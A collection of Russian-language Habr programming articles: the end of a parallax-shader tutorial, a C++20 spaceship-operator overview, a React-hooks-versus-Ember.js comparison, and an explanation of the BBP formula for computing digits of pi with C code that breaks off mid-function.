Если мы хотим быть точными, то нам нужно сэмплировать карту глубин всех соседних пикселей, чтобы выяснить, какой из них должен (если должен) сдвинуться в текущую позицию. Если в одном и том же месте должны оказаться несколько пикселей, то мы можем усреднить их влияние. Хотя такая система работает и обеспечивает наилучший возможный результат, она является чрезвычайно неэффективной и потенциально в сотни раз более медленной, чем исходный diffuse shader, с которого мы начинали.
Наилучшей альтернативой будет следующее решение: мы получаем глубину текущего пикселя из карты глубин; затем, если мы должны сдвинуть его *вправо*, то заменяем текущий цвет на пиксель *слева* (см. изображение ниже). Здесь мы допускаем, что если нужно двигать пиксель вправо, то соседние пиксели слева тоже предположительно должны сдвинуться аналогично.
Легко увидеть, что это всего лишь малозатратная аппроксимация того, чего мы хотели достичь на самом деле. Тем не менее, она оказывается очень эффективной, потому что карты глубин обычно оказываются плавными.
Код
---
Следуя алгоритму, описанному в предыдущем разделе, мы можем реализовать шейдер параллакса с помощью простого **смещения UV-координат**.
Это приводит к следующему коду:
```
void surf (Input IN, inout SurfaceOutput o)
{
// Displacement
fixed height = tex2D(_HeightTex, IN.uv_MainTex).r;
fixed2 displacement = _Scale * ((height - 0.5) * 2);
fixed4 c = SampleSpriteTexture (IN.uv_MainTex - displacement) * IN.color;
...
}
```
Такая техника хорошо работает с почти плоскими объектами, как это видно на показанной ниже анимации.
Но по-настоящему отлично она проявляет себя с 3D-моделями, потому что для 3D-сцены очень легко отрендерить текстуру глубин. Ниже показано отрендеренное в 3D изображение и его карта глубин.
Готовые результаты показаны здесь:
 | https://habr.com/ru/post/444706/ | null | ru | null |
# Стандарт C++20: обзор новых возможностей C++. Часть 2 «Операция ''Космический Корабль''»
25 февраля автор курса [«Разработчик C++»](https://praktikum.yandex.ru/cpp?utm_source=pr&utm_medium=content&utm_content=5_05_21&utm_campaign=pr_content_cpp_habr) в Яндекс.Практикуме Георгий Осипов рассказал о новом этапе языка C++ — Стандарте C++20. В лекции сделан обзор всех основных нововведений Стандарта, рассказывается, как их применять уже сейчас и чем они могут быть полезны.
При подготовке [вебинара](https://youtu.be/5s4CFEMARtU) стояла цель сделать обзор всех ключевых возможностей C++20. Поэтому вебинар получился насыщенным. Он растянулся почти на 2,5 часа. Для вашего удобства мы разбили текст на шесть частей:
1. [Модули и краткая история C++.](https://habr.com/ru/company/yandex_praktikum/blog/554874/)
2. **Операция «космический корабль».**
3. [Концепты.](https://habr.com/ru/company/yandex_praktikum/blog/556816/)
4. [Ranges.](https://habr.com/ru/company/yandex_praktikum/blog/557890/)
5. [Корутины.](https://habr.com/ru/company/yandex_praktikum/blog/559642/)
6. [Другие фичи ядра и стандартной библиотеки. Заключение.](https://habr.com/ru/company/yandex_praktikum/blog/560904/)
Первую часть на Хабре встретили живо, а в [комментариях](https://habr.com/ru/company/yandex_praktikum/blog/554874/#comments) развязались жаркие дискуссии. Не может не радовать, что так много пользователей следят за развитием языка практически в реальном времени.
Это вторая часть, рассказывающая об операции «космический корабль» в современном C++.
Операция «космический корабль»
------------------------------
В C++ теперь свой космос!
### Мотивация
В C++ шесть операций сравнения:
1. меньше,
2. больше,
3. меньше или равно,
4. больше или равно,
5. равно,
6. не равно.
Они все выражаются через одно любое неравенство. Но написать эти операции всё равно придётся. И это проблема, которую решает «космический корабль».
Предположим, вы определили структуру, содержащую одно число:
```
struct X {
int a;
};
```
Мы хотим сделать так, чтобы значения этой структуры можно было сравнивать друг с другом. Для этого придётся написать шесть операций:
```
bool operator== (X l, X r) { return l.a == r.a; }
bool operator!= (X l, X r) { return l.a != r.a; }
bool operator>= (X l, X r) { return l.a >= r.a; }
bool operator<= (X l, X r) { return l.a <= r.a; }
bool operator< (X l, X r) { return l.a < r.a; }
bool operator> (X l, X r) { return l.a > r.a; }
```
А теперь представьте, что мы хотим сравнивать элементы этой структуры не только между собой, но также с числами `int`. Количество операций возрастает с шести до 18:
```
…
bool operator== (X l, int r) { return l.a == r; }
bool operator!= (X l, int r) { return l.a != r; }
bool operator>= (X l, int r) { return l.a >= r; }
bool operator<= (X l, int r) { return l.a <= r; }
bool operator< (X l, int r) { return l.a < r; }
bool operator> (X l, int r) { return l.a > r; }
bool operator== (int l, X r) { return l == r.a; }
bool operator!= (int l, X r) { return l != r.a; }
bool operator>= (int l, X r) { return l >= r.a; }
bool operator<= (int l, X r) { return l <= r.a; }
bool operator< (int l, X r) { return l < r.a; }
bool operator> (int l, X r) { return l > r.a; }
```
Что делать? Можно позвать штурмовиков. Их много, и они быстро напишут 18 операций.
Или воспользоваться «космическим кораблём». Эту новую операцию в C++ называют «космический корабль», потому что она на него похожа: <=>. Более формальное название «трёхстороннее сравнение» фигурирует в документах Стандарта.
### Пример
В структуру `X` я добавил всего одну строчку, определяющую операцию `<=>`. Заметьте, что я даже не написал, что именно она делает:
```
#include
struct X {
auto operator<=>(const X&) const = default; // <-- !
int a;
};
```
И C++ всё сделал за меня. Это сработает и в более сложных случаях, например, когда у `X` несколько полей и базовых классов. При этом всё, что есть в `X`, должно поддерживать сравнение. После того, как я написал эту магическую строчку, я могу сравнивать объекты `X` любым способом:
```
int main() {
X x1{1}, x42{42};
std::cout << (x1 < x42 ? "x1 < x42" : "not x1 < x42") << std::endl;
std::cout << (x1 > x42 ? "x1 > x42" : "not x1 > x42") << std::endl;
std::cout << (x1 <= x42 ? "x1 <= x42" : "not x1 <= x42") << std::endl;
std::cout << (x1 >= x42 ? "x1 >= x42" : "not x1 >= x42") << std::endl;
std::cout << (x1 == x42 ? "x1 == x42" : "not x1 == x42") << std::endl;
std::cout << (x1 != x42 ? "x1 != x42" : "not x1 != x42") << std::endl;
}
```
Получилась корректная программа. Её можно собрать и запустить. Текстовый вывод выглядит так:
```
x1 < x42
not x1 > x42
x1 <= x42
not x1 >= x42
not x1 == x42
x1 != x42
```
Операция космического корабля сработает и для сравнения элемента структуры `X` с числом. Но придётся написать реализацию. На этот раз C++ не сможет придумать её за вас. В реализации воспользуемся встроенной операцией `<=>` для чисел:
```
#include
struct X {
auto operator<=>(const X&) const = default;
auto operator<=>(int r) const { // <-- !
return this->a <=> r;
}
int a;
};
```
Правда, возникает проблема. C++ создаст не все операции. Если вы определили эту операцию не через `default`, а написали сами, проверка на равенство и неравенство не будет добавлена. Кто знает причины — пишите в комменты.
```
int main() {
X x1{1}, x42{42};
std::cout << (x1 < 42 ? "x1 < 42" : "not x1 < 42") << std::endl;
std::cout << (x1 > 42 ? "x1 > 42" : "not x1 > 42") << std::endl;
std::cout << (x1 <= 42 ? "x1 <= 42" : "not x1 <= 42") << std::endl;
std::cout << (x1 >= 42 ? "x1 >= 42" : "not x1 >= 42") << std::endl;
std::cout << (x1 == 42 ? "x1 == 42" : "not x1 == 42") << std::endl; // <--- ошибка
std::cout << (x1 != 42 ? "x1 != 42" : "not x1 != 42") << std::endl; // <--- ошибка
}
```
Впрочем, никто не запрещает определить эту операцию самостоятельно. Ещё одно нововведение C++20: можно добавить проверку только на равенство, а неравенство добавится автоматически:
```
#include
struct X {
auto operator<=>(const X&) const = default;
bool operator==(const X&) const = default;
auto operator<=>(int r) const {
return this->a <=> r;
}
bool operator==(int r) const { // <-- !
return operator<=>(r) == 0;
}
int a;
};
int main() {
X x1{1}, x42{42};
std::cout << (x1 < 42 ? "x1 < 42" : "not x1 < 42") << std::endl;
std::cout << (x1 > 42 ? "x1 > 42" : "not x1 > 42") << std::endl;
std::cout << (x1 <= 42 ? "x1 <= 42" : "not x1 <= 42") << std::endl;
std::cout << (x1 >= 42 ? "x1 >= 42" : "not x1 >= 42") << std::endl;
std::cout << (x1 == 42 ? "x1 == 42" : "not x1 == 42") << std::endl;
std::cout << (x1 != 42 ? "x1 != 42" : "not x1 != 42") << std::endl;
}
```
Хоть 2 операции и пришлось определить, но это гораздо лучше, чем 18.
Мы добавили код для тех ситуаций, когда левый операнд — это `X`, а правый — `int`. Оказывается, сравнение в другую сторону писать не нужно, оно добавится автоматически:
```
#include
struct X {
auto operator<=>(const X&) const = default;
bool operator==(const X&) const = default;
auto operator<=>(int r) const {
return this->a <=> r;
}
bool operator==(int r) const { // <-- !
return operator<=>(r) == 0;
}
int a;
};
int main() {
X x1{1}, x42{42};
std::cout << (1 < x42 ? "1 < x42" : "not 1 < x42") << std::endl;
std::cout << (1 > x42 ? "1 > x42" : "not 1 > x42") << std::endl;
std::cout << (1 <= x42 ? "1 <= x42" : "not 1 <= x42") << std::endl;
std::cout << (1 >= x42 ? "1 >= x42" : "not 1 >= x42") << std::endl;
std::cout << (1 == x42 ? "1 == x42" : "not 1 == x42") << std::endl;
std::cout << (1 != x42 ? "1 != x42" : "not 1 != x42") << std::endl;
}
```
### Теория
На этом рассказ про космический корабль можно было бы завершить, но, оказывается, не всё так просто. Есть ещё несколько нюансов.
Первый: всё, что я сказал — это неправда. Никаких операций сравнения на самом деле не добавилось. Если вы попробуете явно вызвать операцию «меньше», компилятор скажет: «Ошибка. Такой операции нет». Несмотря на то, что сравнение работает, получить адрес операции «меньше» не получится:
```
#include
struct X {
auto operator<=>(const X&) const = default;
int a;
};
int main() {
X x1{1}, x42{42};
std::cout << (x1.operator<(x42) ? "<" : "!<") // <--- ошибка
<< std::endl;
}
```
Удивительно, как же компилятор выполняет операцию, которой нет. Всё благодаря тому, что поменялись правила поведения компилятора при вычислении операций сравнения. Когда вы пишете `x1 < x2`, компилятор, как и раньше, проверяет наличие операции `<`. Но теперь, если он её не нашёл, то обязательно посмотрит операцию «космического корабля». В примере она находится, поэтому он её использует. При этом, если типы операндов разные, компилятор посмотрит сравнение в обе стороны: сначала в одну, потом в другую. Поэтому нет необходимости определять третий «космический корабль» для сравнения `int` и типа `X` — достаточно определить только вариант, где `X` слева.
Если вам по какой-то причине вместо `x < y` нравится писать `x.operator<(y)`, то определите операцию `<` явно. У меня для вас хорошие новости: реализацию можно не писать. `default` будет работать для обычных операций сравнения так же, как и для `<=>`. Напишите его, и C++ определит его за вас. Вообще, C++20 многое делает за вас.
```
#include
struct X {
auto operator<=>(const X&) const = default;
bool operator<(const X&) const = default; // <-- !
int a;
};
int main() {
X x1{1}, x42{42};
std::cout << (x1.operator<(x42) ? "<" : "!<")
<< std::endl;
}
```
Заметьте, что у `operator<` потребовалось указать явный тип возврата — `bool`. А в `<=>` эту работу предоставляли компилятору, указывая `auto`. Оно означает, что тип я писать не хочу: компилятор умный, он поймёт сам, что нужно поставить вместо `auto`. Но какой-то тип там есть — функция же должна что-то возвращать.
Оказывается, тут не всё так просто. Это не `bool`, как для простых операций сравнения. Здесь сразу три варианта. Эти варианты — разные виды упорядочивания:
* `std::strong_ordering`. Линейный порядок, равные элементы которого неразличимы. Примеры: `int`, `char`, `string`.
* `std::weak_ordering`. Линейный порядок, равные могут быть различимы. Примеры: `string`, сравниваемый без учёта регистра; порядок на точках плоскости, определяемый удалённостью от центра.
* `std::partial_ordering`. Частичный порядок. Примеры: `float`, `double`, порядок по включению на объектах `set`.
Математики хорошо знакомы с этими понятиями, тут даже нет никакого программирования. Для остальных расскажем. *Линейный порядок* — такой, при котором любые два элемента можно сравнить между собой. Пример линейного порядка — целые числа: какие бы два числа мы ни взяли, их можно сравнить между собой.
При *частичном порядке* элементы могут быть несравнимы. Числа с плавающей запятой `float` и `double` подпадают под понятие частичного порядка, потому что у них есть специальное значение NaN, не сравнимое ни с каким другим числом.
Дальнейшие рассуждения об упорядочивании выходят за рамки вебинара. Я лишь хочу сказать, что не всё так тривиально, как кажется. Рекомендую поэкспериментировать с частичным упорядочиванием в разных алгоритмах и контейнерах типа `set`.
Статус
------
«Космический корабль» уже есть везде, и им можно пользоваться:
* GCC. Хорошо поддерживается с версии 10, хотя и не до конца. Полную поддержку обещают только в GCC 11.
* Clang. Полная поддержка в версии 10.
* Visual Studio. Полная поддержка в VS 2019.
Заключение
----------
Во время трансляции мы опросили аудиторию, нравится ли ей эта функция. Результаты опроса:
* Суперфича — 47 (87.04%)
* Так себе фича — 2 (3.70%)
* Пока неясно — 5 (9.26%)
Мы довольно подробно разобрали операцию «космический корабль», однако всё равно часть её функций осталась непокрытой. Например, интересный вопрос: как компилятор обработает ситуацию, в которой определено несколько операций сравнения с разными типами.
Читателям Хабра, как и слушателям вебинара, дадим возможность оценить нововведения. | https://habr.com/ru/post/555704/ | null | ru | null |
# Почему в Ember не нужны React-хуки
*От переводчика: Этот пост является продолжением* [*поста о реализация паттернов React-компонентов в Ember.js*](https://habr.com/ru/post/583436/)*. Автор рассматривает концепцию React-хуков для абстракции логики состояния (stateful logic) и сравнивает ее реализацию с реализацией в Ember. И хотя в экосистеме React эта концепция признана весьма полезной, в Ember.js* [*попытки предложить*](https://github.com/emberjs/rfcs/pull/567) *похожую не нашли особенного отклика. Причина этому - наличие в фреймворке достаточных инструментов для решения этой задачи без использования хуков. О каких инструментах идет речь, вы узнаете из этого материала.*
В этом посте продолжаем сравнение между реализациями паттернов компонентов в React и Ember.js. Теперь мы обсудим концепцию React-хуков и возможность применения той же концепции к Ember.js при создании ясных абстракций.
Обычно, когда обсуждают React-хуки, возникает ощущение, что они представляют собой очень мощную идею, которая позволяет разработчикам создавать элегантные абстракции и решать «сложные» проблемы. В основном [люди с увлечением говорят](https://blog.bitsrc.io/why-we-switched-to-react-hooks-48798c42c7f) о концепции хуков, поэтому я хотел узнать, что это.
Дисклеймер
----------
Этот пост не предназначен для того, чтобы оскорбить кого-либо, кто работает в экосистеме React, и не предназначен для рекламы фреймворка Ember.js. Как обсуждалось в моем прошлом посте, я верю, что людям будет интересно узнать, как решаются похожие проблемы в другой экосистеме . Я изучил тему React-хуков с позиции разработчика Ember.js и рассматривал свое исследование как возможность узнать о фреймворке, который мне незнаком.
Изучаемая проблема - композиция абстракций
------------------------------------------
Когда вы создаете сложное браузерное приложение, вы всегда будете хотеть выстроить интерфейс системным образом, стараясь переиспользовать повторящиеся абстракции в разных частях вашего приложения.
Обычно, когда речь заходит о переиспользовании на стороне клиента, люди думают о [дизайн-системах](https://www.smashingmagazine.com/printed-books/design-systems/), но UI-компоненты для репрезентации далеко не единственная вещь, которую вам захочется переиспользовать. В вашем приложении будет появляться похожее поведение, которое будет напрашиваться на повторное использование. Например, запуск асинхронного взаимодействия или показ уведомления исходя из определенного действия пользователя. Вы, наверняка, заходите переиспользовать подобные вещи.
Поэтому когда речь идет о хороших абстракциях в одностраничных приложениях, это означает не только создание библиотеки UI-компонентов, таких как кнопки, табы и прочее. Благоразумнее задуматься и о переиспользовании логики работы с состоянием (stateful logic).
Думаю вы согласитесь, что [поиск хороших абстракций и стройное их композиция - дело непростое](https://medium.com/javascript-scene/abstraction-composition-cb2849d5bdd6). И, не очень весело, когда используемый вами фреймворк усложняет вещи, вместо того, чтобы их упрощать.
До создания хуков, [по словам core-команды React](https://reactjs.org/docs/hooks-intro.html#its-hard-to-reuse-stateful-logic-between-components), библиотека не предоставляла хороших абстракций для сложной логики состояний:
> "React не предоставляет способа "присоединить" переиспользуемое поведение к компоненту (например, соединить его с хранилищем (store). Если вы работали с React какое-то время, вы, наверняка знакомы с такими паттернами, как render props или компоненты высокого порядка (high-order components), которые пытаются решить эту проблему. Но эти паттерны требуют от вас перестраивать подключаемые компоненты, что может быть запутанным и усложняющим чтение кода.
>
>
Поэтому давайте попытаемся ответить, являются ли хуки единственным хорошим способом распространить абстракции по вашему коду? И как это реализуется в Ember.js?
Пример - Абстракция асинхронности
---------------------------------
Одна из самых распространенных задач, которые возникают при создании браузерных приложений, это задача работы с асинхронными операциями. Например, мы не запрашиваем сразу все возможные данные (и не заставляем пользователя их ждать), а запрашиваем серверный API по необходимости. Или делаем асинхронные запросы для того, чтобы сохранить данные, которые пользователь вводит в поля форм.
В такие моменты хотелось бы простоты, поэтому давайте представим, что мы задумали вывести эту функциональность в абстракцию, которая будет "решать" все эти задачи. Для этого создадим сущность, которая каким-то образом будет запускать асинхронные операции, а также [будет сохранять состояние уже запущенных.](https://v5.chriskrycho.com/journal/async-data-and-autotracking-in-ember-octane/#2-handling-all-data-states-is-important)
Чтобы привести имплементации в React и Ember к сравнимому состоянию, я решил смоделировать асинхронное поведение нашего приложения с помощью [statechart](https://www.effective-ember.com/blog/robust-uis-with-statecharts/).
Пойдя таким путем мы будем уверены, что компоненты будут вести себя одинаково и мы сможем лучше сравнить реализации. Будем использовать популярную библиотеку [XState](https://xstate.js.org/) для моделирования графа-состояния (statechart). Вот граф-состояние, который мы будем использовать в этом посте ([прямая ссылка](https://xstate.js.org/viz/?gist=b90b7a517f8f756d2c87dce240f102fd)):
XState Visualizer[xstate.js.org](https://xstate.js.org/viz/?gist=b90b7a517f8f756d2c87dce240f102fd)Данный граф-состояние делает не особо много интересного. У нас четыре различных состояния нашего `Async`-компонента - `idle`, `busy`, `success` и `error`. Когда мы в `idle`, мы можем запустить функцию `async`-переключателя, которую мы затем можем передать в XState `Machine` через `context` этой машины. Этот запрос может либо быть `resolve`, либо `reject`, что приведет нас либо в состояние `success`, либо - в `error` . Когда запрос удачен мы вызовем обработчик `onSuccess`. Когда же он не удается, запускается обработчик `onError`.
**React**
Во-первых, мы сравним две реализации компонентов, моделирующих асинхронное поведение в React. Одна из них будет использовать `React.Component`, а другая - `React Hooks`. Мы сделаем это, потому что в официальной документации React хуки представлены как более удачный способ реализации логики состояния. Я хочу протестировать эту гипотезу.
Обе версии показывают состояние, в котором находится `Async` взаимодействие и предоставляют кнопку, которой можно его запустить. После нажатия на кнопку состояние случайным образом будет переключаться на `resolve` или `reject`. Вы можететь попробовать и изучить обе реализации в этом Codesandbox ([прямая ссылка](https://codesandbox.io/s/kind-kirch-rvteo?from-embed)):
Как видим, обе версии `Async`-компонентов ведут себя одинаково. Что побуждает нас сделать первый вывод нашего поста:
Осуществлять абстракцию логики через компоненты чистым образом (clean way) можно как с помощью хуков, так и с помощью `React.Component`
Углубимся в детали:
**React.Component**
Чтобы предоставить состояние асинхронного взаимодействия на уровень разметки будем использовать паттерн [Провайдер](https://blog.flexiple.com/provider-pattern-with-react-context-api/):
Для начала нужно создать `Async`-компонент, который после рендеринга запустит [XState-интерпретатор](https://xstate.js.org/docs/guides/interpretation.html). Используя [Context API](https://reactjs.org/docs/context.html) мы создадим пару `Provider/Consumer,` предоставляющую свойство state компонента другим компонентам, желающим использовать `Async`-поведение.
В целом, это добавляет немного бойлерплейта из-за способа работы `Context API`, но, если честно, для меня это не показалось чем-то ужасным и сложным в чтении и использовании.
Теперь перейдем к React-хукам.
**React-хуки**
Для того, чтобы создать свой хук `useAsync` создадим абстракцию на базе хука `useMachine`, который входит в состав библиотеки [xstate/react](https://xstate.js.org/docs/packages/xstate-react/). Создание собственных хуков [поощряется документацией](https://reactjs.org/docs/hooks-custom.html) и является одним из продающих моментов всей концепции.
Как видите, довольно просто создать свой собственный хук. Мы используем хук `useMachine`, настраиваем свой интерпретатор `XState` и затем возвращаем объект, который можно будет использовать в коде нашего приложения, чтобы обрабатывать `async`-поведение.
Для этого мы создадим компонент, использующий хук `useAsync`. Рано или поздно что-то должно вызвать наш хук и не похоже, что это можно сдать из разметки напрямую, как это возможно с помощью компонента `Async`-провайдера.
Для меня реализация с использованием React-хуков не выглядит чище реализации на React.Component. Не увидел ничего того, что можно было бы сделать с помощью хуков и чего нельзя было бы сделать, используя классы. Также мне не показалось, что концепция хуков это концепция, более понятная, чем нативные классы. И некоторые [люди из экосистемы React склонны с этим согласиться](https://medium.com/swlh/the-ugly-side-of-hooks-584f0f8136b6).
Ember.js
--------
**@glimmer/component - компонент, который хранит состояние**
Ember не предоставляет абстракции на хуках, поэтому, чтобы запрограммировать `async`-поведение мы будем использовать подход, схожий с подходом для `React.Component` и создадим `Async`-компонент, который будет хранить состояние асинхронного взаимодействия.
Codesandbox c решением на Ember ([прямая ссылка](https://codesandbox.io/embed/silly-minsky-t6p5o?autoresize=1&fontsize=14&hidenavigation=1&theme=dark&view=preview))
Если внимательно присмотреться, то мы заметим, что решение на Ember.js представляет собой смесь между двумя реализациями от React. Мы используем абстракцию `useMachine`, предоставленную эддоном [ember-statecharts](https://www.effective-ember.com/blog/react-hooks-and-ember/), но потом извлекаем пользу из того, что наш компонент может сохранять у себя состояние.
В нашем примере `useMachine` создает объект с состоянием [XState интерпретатора](https://xstate.js.org/docs/guides/interpretation.html#interpreter). Мы присваиваем этот объект свойству экземляра компонента, чтобы пользоваться преимуществами [автотрекинга Ember](https://guides.emberjs.com/release/in-depth-topics/autotracking-in-depth/) и добавляем [геттеры](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/get), такие как `isIdle`, которые автоматически обновляются при изменении графа-состояния.
Чтобы сделать состояние `Async`-поведения доступным для потребителей, мы используем функциональность `yield` и предоставляем [блоковые параметры](https://guides.emberjs.com/release/components/block-content/#toc_block-parameters) внутри блока компонента. Потребляющие компоненты смогут сами решить, какие из свойств компонента `Async` они хотят использовать.
**Дополнительный материал: Хуки в Ember? - @use и Resource**
В экосистеме Ember есть функциональность напоминающая React-хуки. Обсуждение [RFC](https://github.com/emberjs/rfcs/blob/use-and-resources/text/0567-use-and-resources.md) было резюмировано в статье ["Введение @use"](https://www.pzuraq.com/introducing-use/) . Используя декоратор `@use` и классы на основе `Resource` можно также реализовать абстракции для состояния, которые потом могут быть использованы в других объектах приложения.
Важной особенностью `@use` и в контексте приложения Ember.js является то, что `Resource` будет привязан к жизненному циклу объекта, вызвавшего `@use`. Это может быть полезно и удобно, когда вы пишите большие приложения. Но в сообществе еще не закончено обсуждение, является ли эта абстракция более удачной, чем уже существующие в экосистеме.
Поэтому, если коротко, `@use` и `Resource` не являются Ember ответом на React-хуки. Честно говоря, я лично не увидел ничего революционного в этой парадигме. Выглядит, как будто это своего рода заплатка на те недостатки, которые были в React изначально. Речь идет о необходимости написания служебного кода для передачи состояния и логики между различными частями приложения. В варианте с `React.Component` вы вынуждены положиться на `Context API`. Неудивительно, что намучившись с написанием бойлерплейта для `Provider/Consumer` многие разработчики поспешили использовать хуки. Но концептуально эта парадигма не выглядит чем-то более привлекательным, чем абстракции, которые уже есть в Ember.js
Резюме
------
Также как и в [моем первом посте](https://habr.com/ru/post/583436/) про паттерны компонентов я рад, что удалось предоставить чистые компонентные абстракции не уступающие по качеству реализациям на React. Предложенное решение на Ember даже имеет некоторые преимущества в чистоте перед обоими React-вариантами.
Во-первых, мы используем намного меньше бойлерплейта, чем с `React.Component`. Не нужно создавать `Context`, потому что `yield` функциональность позволяет довольно просто вывести свойства и функции на сторону разметки. Во-вторых, в отличии от React-хуков, Ember позволяет легко строить [реактивные абстракции на основе авто-трекинга](https://habr.com/ru/post/488530/) геттеров, в то время как в React вы должны обновлять состояние самостоятельно, не важно используете ли вы `React.Component` или React-хуки.
Я вижу, как многие javascript разработчики из-за доминирования React делают вывод, что именно эта библиотека лучше всего подходит для построения чистых абстракций при написании одностраничных приложений. Но после некоторого изучения вопроса, я не могу согласиться с этой оценкой. По крайней мере, когда речь заходит о сравнении с Ember.js
React-хуки не кажутся мне какой-то прорывной концепцией, как они [кажутся разработчикам на React](https://blog.bitsrc.io/why-we-switched-to-react-hooks-48798c42c7f). Это происходит от того, что они решают проблему, которой нет, когда мы работаем с Ember.js. Хуки действительно помогают избавиться от бойлерплейта, когда речь идет о распространении состояния по дереву компонентов, но в Ember.js это не проблема. Причин этому несколько:
1. `yield`-функционал Ember позволяет передать произвольные нижестоящим компонентам данные, которые те могут использовать по своему усмотрению. Это позволяет легко строить компоненты-провайдеры.
2. Когда необходимо получить доступ к глобальному состоянию, Ember.js предоставляет [сервисы](https://guides.emberjs.com/release/services/), синглтоны, которые можно подключать к различным частям приложения с помощью dependency injection.
3. Создание абстракций, использование этих абстракций из других абстракций и составление композиций не является революционной идеей. В Javascript и до этого можно было создавать объекты с состоянием, следующих [принципу единственной ответственности,](https://ru.wikipedia.org/wiki/%D0%9F%D1%80%D0%B8%D0%BD%D1%86%D0%B8%D0%BF_%D0%B5%D0%B4%D0%B8%D0%BD%D1%81%D1%82%D0%B2%D0%B5%D0%BD%D0%BD%D0%BE%D0%B9_%D0%BE%D1%82%D0%B2%D0%B5%D1%82%D1%81%D1%82%D0%B2%D0%B5%D0%BD%D0%BD%D0%BE%D1%81%D1%82%D0%B8) и составлять из них композиции. И для этого вовсе не требуется знать [правила написания хуков](https://reactjs.org/docs/hooks-rules.html).
В целом, я очень доволен как показал себя [Ember Octane](https://habr.com/ru/post/482158/) в сравнении с React при работе над этой задачей. Фреймворк предоставил все необходимые инструменты для написания решения без большого количества бойлерплейта. Это делает простым распространение сложной логики состояния по разным частям приложения. Причем необходимые инструменты стабильны и существуют в фреймворке на протяжении долгого времени. Надеюсь, кто-нибудь найдет этот материал полезным и рассмотрит Ember.js в качестве выбора для своего следующего проекта. Также верю, что фреймворки лучше сравнивать на реальных сценариях, а не на основе господствуещего мнения на HackerNews.
Пожалуйста, поделитесь со мной своими мыслями об этом посте в [Твиттере](https://twitter.com/levelbossmike) - мне всегда интересно услышать о вашем опыте работы с React по сравнению с Ember.js и ваше мнение о том, какой из двух, по вашему мнению, легче использовать.
Если этот пост вызвал у вас любопытство и вы считаете, что Ember.js подходит для вашего следующего проекта, не стесняйтесь [связаться с нами](https://www.effective-ember.com/) (*от переводчика: на русском есть*[*телеграмм канал*](https://t.me/ember_js) *разработчиков на Ember.js*). Мы здесь, чтобы помочь командам создавать амбициозные приложения и помочь вам прототипировать решения, чтобы вы получили представление о том, какая библиотека или фреймворк лучше всего подходят для вашей проблемной области. | https://habr.com/ru/post/583950/ | null | ru | null |
# Вычисление N-го знака числа Пи без вычисления предыдущих
С недавних пор существует элегантная формула для вычисления числа Пи, которую в 1995 году впервые опубликовали Дэвид Бэйли, Питер Борвайн и Саймон Плафф:
Казалось бы: что в ней особенного — формул для вычисления Пи великое множество: от школьного метода Монте-Карло до труднопостижимого интеграла Пуассона и формулы Франсуа Виета из позднего Средневековья. Но именно на эту формулу стоит обратить особое внимание — она позволяет вычислить n-й знак числа пи без нахождения предыдущих. За информацией о том, как это работает, а также за готовым кодом на языке C, вычисляющим 1 000 000-й знак, прошу под хабракат.
Как же работает алгоритм вычисления N-го знака Пи?
К примеру, если нам нужен 1000-й шестнадцатеричный знак числа Пи, мы домножаем всю формулу на 16^1000, тем самым обращая множитель, стоящий перед скобками, в 16^(1000-k). При возведении в степень мы используем [двоичный алгоритм возведения в степень](http://brtrg.com/blog/post/514) или, как будет показано в примере ниже, [возведение в степень по модулю](http://en.wikipedia.org/wiki/Modular_exponentiation). После этого вычисляем сумму нескольких членов ряда. Причём необязательно вычислять много: по мере возрастания k 16^(N-k) быстро убывает, так что, последующие члены не будут оказывать влияния на значение искомых цифр). Вот и вся магия — гениальная и простая.
Формула Бэйли-Борвайна-Плаффа была найдена Саймоном Плаффом при помощи алгоритма [PSLQ](http://www.cecm.sfu.ca/organics/papers/bailey/paper/html/node3.html), который был в 2000 году включён в список [Top 10 Algorithms of the Century](http://orion.math.iastate.edu/burkardt/misc/algorithms_dongarra.html). Сам же алгоритм PSLQ был в свою очередь разработан Бэйли. Вот такой мексиканский сериал про математиков.
Кстати, время работы алгоритма — O(N), использование памяти — O(log N), где N — порядковый номер искомого знака.
Думаю, уместно будет привести код на языке Си, написанный непосредственно автором алгоритма, Дэвидом Бэйли:
```
/*
This program implements the BBP algorithm to generate a few hexadecimal
digits beginning immediately after a given position id, or in other words
beginning at position id + 1. On most systems using IEEE 64-bit floating-
point arithmetic, this code works correctly so long as d is less than
approximately 1.18 x 10^7. If 80-bit arithmetic can be employed, this limit
is significantly higher. Whatever arithmetic is used, results for a given
position id can be checked by repeating with id-1 or id+1, and verifying
that the hex digits perfectly overlap with an offset of one, except possibly
for a few trailing digits. The resulting fractions are typically accurate
to at least 11 decimal digits, and to at least 9 hex digits.
*/
/* David H. Bailey 2006-09-08 */
#include
#include
int main()
{
double pid, s1, s2, s3, s4;
double series (int m, int n);
void ihex (double x, int m, char c[]);
int id = 1000000;
#define NHX 16
char chx[NHX];
/\* id is the digit position. Digits generated follow immediately after id. \*/
s1 = series (1, id);
s2 = series (4, id);
s3 = series (5, id);
s4 = series (6, id);
pid = 4. \* s1 - 2. \* s2 - s3 - s4;
pid = pid - (int) pid + 1.;
ihex (pid, NHX, chx);
printf (" position = %i\n fraction = %.15f \n hex digits = %10.10s\n",
id, pid, chx);
}
void ihex (double x, int nhx, char chx[])
/\* This returns, in chx, the first nhx hex digits of the fraction of x. \*/
{
int i;
double y;
char hx[] = "0123456789ABCDEF";
y = fabs (x);
for (i = 0; i < nhx; i++){
y = 16. \* (y - floor (y));
chx[i] = hx[(int) y];
}
}
double series (int m, int id)
/\* This routine evaluates the series sum\_k 16^(id-k)/(8\*k+m)
using the modular exponentiation technique. \*/
{
int k;
double ak, eps, p, s, t;
double expm (double x, double y);
#define eps 1e-17
s = 0.;
/\* Sum the series up to id. \*/
for (k = 0; k < id; k++){
ak = 8 \* k + m;
p = id - k;
t = expm (p, ak);
s = s + t / ak;
s = s - (int) s;
}
/\* Compute a few terms where k >= id. \*/
for (k = id; k <= id + 100; k++){
ak = 8 \* k + m;
t = pow (16., (double) (id - k)) / ak;
if (t < eps) break;
s = s + t;
s = s - (int) s;
}
return s;
}
double expm (double p, double ak)
/\* expm = 16^p mod ak. This routine uses the left-to-right binary
exponentiation scheme. \*/
{
int i, j;
double p1, pt, r;
#define ntp 25
static double tp[ntp];
static int tp1 = 0;
/\* If this is the first call to expm, fill the power of two table tp. \*/
if (tp1 == 0) {
tp1 = 1;
tp[0] = 1.;
for (i = 1; i < ntp; i++) tp[i] = 2. \* tp[i-1];
}
if (ak == 1.) return 0.;
/\* Find the greatest power of two less than or equal to p. \*/
for (i = 0; i < ntp; i++) if (tp[i] > p) break;
pt = tp[i-1];
p1 = p;
r = 1.;
